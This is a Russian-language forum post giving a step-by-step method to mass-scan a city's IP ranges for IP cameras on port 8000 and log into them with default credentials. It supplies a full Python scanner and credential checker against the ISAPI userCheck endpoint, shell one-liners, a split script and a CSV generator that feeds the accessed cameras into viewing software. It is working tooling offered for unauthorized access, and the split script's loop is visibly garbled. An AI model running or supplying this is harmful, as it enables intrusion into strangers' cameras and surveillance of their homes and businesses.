Показать сообщение отдельно

  #18  
Старый 28.12.2015, 13:04
sha4
Новичок
Регистрация: 28.12.2015
Сообщений: 2
С нами: 5461526

Репутация: 0
По умолчанию

Немного модернизации. Сканируем в масштабах города.

Действие номер 1:

Открываем https://4it.me Вбиваем свой город.

Действие 2:

копируем все диапазоны Вашего города в файл scan-r.txt

Действие 3:

Добавляем "range =" в начало каждой строки

awk '{print "range = "$0}' /tmp/scan-r.txt > /tmp/scan-range.txt

Действие 4:

вставляем содержимое /tmp/scan-range.txt

в параметр

MASSCANRANGECONF = '''http-user-agent = neocaine@blablabla.ru

range = 31.136.209.0/21

range = 218.31.161.0/20'''

скрипта

.SpoilerTarget" type="button">Spoiler: Python Script
# INSTALL

# Requirements

# Root Priveleges

# https://github.com/martinblech/xmltodict - XML To Dictionary Parser

# https://github.com/robertdavidgraham/masscan - Masscan For Range Scanning

#CONSTANTS

LOGIN = 'admin'

PWD = '12345'

SCRIPTRESULT = 'result.txt'

LOGGINGLEVEL = 40 # 'CRITICAL' : 50, 'ERROR' : 40, 'WARNING' : 30, 'INFO' : 20, 'DEBUG' : 10

ARCHIVEPATH = '/tmp/ipcam/archive//'

ARCHIVEFOLDERNAME = 'archive'

MASSCANFOLDER = '/home/neocaine/'

MASSCANRESULT = 'scan.xml'

MASSCANEXCLUDE = 'exclude'

MASSCANCONF = 'cam.conf'

MASSCANCAMPORTCONF = 'port = 8000'

MASSCANOUTPUTFORMATCONF = 'output-format = xml'

MASSCANRESULTCONF = 'output-filename = ' + MASSCANFOLDER+MASSCANRESULT

MASSCANEXCLUDECONF = 'excludefile = ' + MASSCANFOLDER+MASSCANEXCLUDE

MASSCANRANGECONF = '''http-user-agent = neocaine@blablabla.ru

range = 31.136.209.0/21

range = 218.31.161.0/20'''

import requests

import xmltodict

import shutil, zipfile

import os, logging, time

from datetime import datetime, timedelta

from urllib2 import urlopen

import urllib2, httplib

import socket

import requests

def make_conf_for_masscan():

masscan_config = MASSCANRANGECONF + '\r\n'\

+ MASSCANCAMPORTCONF + '\r\n'\

+ MASSCANEXCLUDECONF + '\r\n'\

+ MASSCANOUTPUTFORMATCONF + '\r\n'\

+ MASSCANRESULTCONF

fname = MASSCANFOLDER + MASSCANCONF

if os.path.exists(fname):

os.remove(fname)

open(fname, 'a').close()

with open(fname, 'a') as masscan_conf:

masscan_conf.seek(0)

masscan_conf.write(masscan_config)

masscan_conf.close()

else:

open(fname, 'a').close()

with open(fname, 'a') as masscan_conf:

masscan_conf.seek(0)

masscan_conf.write(masscan_config)

masscan_conf.close()

fnameExclude = MASSCANFOLDER + MASSCANEXCLUDE

open(fnameExclude, 'a').close()

def start_masscan():

os.system('/usr/bin/masscan -c '+MASSCANFOLDER+MASSCANCONF)

#MakeDir Function

def mkdir(dir):

logging.debug('_Function Called mkdir (dir = %s)' % dir)

try:

os.stat(dir)

except:

os.makedirs(dir)

def zipdir(path, zip):

logging.debug('_Function Called zipdir(path = %s, zip = %s)' % (path, zip))

for root, dirs, files in os.walk(path):

for file in files:

zip.write(os.path.join(root, file))

def delete_previous_file():

logging.debug('_Function Called deletePreviousFile')

try:

os.remove(MASSCANFOLDER + MASSCANRESULT)

os.remove(MASSCANFOLDER + SCRIPTRESULT)

except:

logging.warn("Cant Delete Folder Tree at %s" % MASSCANFOLDER)

def setup_custom_logger(name):

formatter = logging.basicConfig(format=u'%(filename)s '

u'[LINE:%(lineno)d]# '

u'%(levelname)-8s '

u'[%(asctime)s] '

u'%(message)s', level=LOGGINGLEVEL)

handler = logging.StreamHandler()

handler.setFormatter(formatter)

logger = logging.getLogger(name)

logger.setLevel(logging.DEBUG)

logger.addHandler(handler)

return logger

def test_default_log_pass(ip):

logging.debug('_Function Called testDefaultLogPass(ip) with ip=%s', ip)

url = 'http://'+LOGIN+':'+PWD+'@' + ip +'/ISAPI/Security/userCheck?timeStamp=' + unixtime

class MyException(Exception):

pass

try:

a =urllib2.urlopen("http://"+ip, timeout = 3)

except urllib2.URLError, e:

logging.warning('Exception in urllib2.urlopen = %s', e)

return 0

except socket.timeout, e:

logging.warning('Exception in socket = %s', e)

return 0

except socket.error, e:

logging.warning('Exception in socket = %s', e)

return 0

except requests.ConnectionError, e:

logging.warning('Exception in request = %s', e)

return 0

except requests.RequestException,e:

logging.warning('Exception in request = %s', e)

return 0

except httplib.BadStatusLine, e:

logging.warning('Exception in httplib = %s', e)

return 0

except:

logging.warning("Unknown Exception while urllib2.urlopen")

return 0

logging.debug('Request Post To = %s', url)

values = {'username': LOGIN,

'password': PWD}

r = requests

try:

r = requests.post(url, data=values)

except requests.ConnectionError, e:

logging.warning('Exception in requests = %s', e)

return 0

except httplib.BadStatusLine, e:

logging.warning('Exception in httplib = %s', e)

return 0

except:

logging.warning("Unknown Exception while requests.post")

return 0

fname = MASSCANFOLDER + MASSCANRESULT

if os.path.exists(fname):

os.remove(fname)

open(fname, 'a').close()

with open(fname, 'a') as myxmlfile:

myxmlfile.seek(0)

myxmlfile.write(r.content)

myxmlfile.close()

else:

open(fname, 'a').close()

with open(fname, 'a') as myxmlfile:

myxmlfile.seek(0)

myxmlfile.write(r.content)

myxmlfile.close()

with open(fname) as fd:

try:

obj = xmltodict.parse(fd.read())

except:

logging.warning("Can`t Parse Required xml data")

return 0

try:

if int(obj['userCheck']['statusValue']) == 200:

print ip + ' Has Default Log Password'

os.system('/bin/echo ' + ip + ' Has Default Log Password'+ '>>' + MASSCANFOLDER+SCRIPTRESULT)

os.system('/bin/echo ' + ip + '>>' + MASSCANFOLDER + MASSCANEXCLUDE)

except:

logging.debug("xml unknown format = %s",ip)

def masscan_return_parser():

fname = MASSCANFOLDER + MASSCANRESULT

if not os.path.exists(fname):

print(fname)

print("WTF")

exit()

with open(fname) as masscanResult:

objects = xmltodict.parse(masscanResult.read())

for w in objects['nmaprun']['host']:

logging.debug("Getting Ip from XML = %s", w['address']['@addr'])

test_default_log_pass(w['address']['@addr'])

logger = setup_custom_logger('root')

datenow = datetime.now()

unixtime = str(time.time() + timedelta(days=3).total_seconds())

delete_previous_file()

make_conf_for_masscan()

start_masscan()

masscan_return_parser()

не забудьте выставить LOGIN и PASS

Действие 5:

после скрипта будет файл scan.xml

из него нам нужно вытащить все IP адреса

cat /tmp/scan.xml | awk '{print $3}' | egrep -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" > /tmp/scan.txt

файл /tmp/scan.txt будет содержать только IP адреса из файла scan.xml

Действие 6:

Полученный на этапе 5 файл scan.txt нужно распарсить по 256 строк

создаем файл split.sh

.SpoilerTarget" type="button">Spoiler: split.sh
#!/bin/bash

# split.sh

if [ -z "$1" ]; then

echo "Need file name as parameter"

fi

L=256

M=$(wc -l "$1" | egrep -o '^[0-9]+')

N=$((M / L))

if [[ $((N*L)) -lt $M ]]; then

tail -n$((M - N*L)) "$1" > "$1$((N+1))";

fi

for ((i=0; i "$1$i";

done

запускаем split.sh

./split.sh /tmp/scan.txt

на выходе будет куча файлов с IP адресами по 256 строк.

Действие 7:

скармливаем кадый файл с 256 IP адресами из предидущего действия следующему скрипту

.SpoilerTarget" type="button">Spoiler: CSV.py
login = 'admin'

passw = 'admin'

file = open('/tmp/scan.txt','r')

csv = open('/root/out_'+login+'_'+passw+'.csv','w')

k = 0

for line in file:

temp = '"' + str(k) + '_ip1","0","'+line[0:-1:1]+'","8000","0","'+login+'","'+passw+'","0","1","0" ,"0"'+'\n'

csv.write(temp)

k += 1

csv.close()

file.close()

На выходу будем иметь файл для скармливания Программе для камер
 
Ответить с цитированием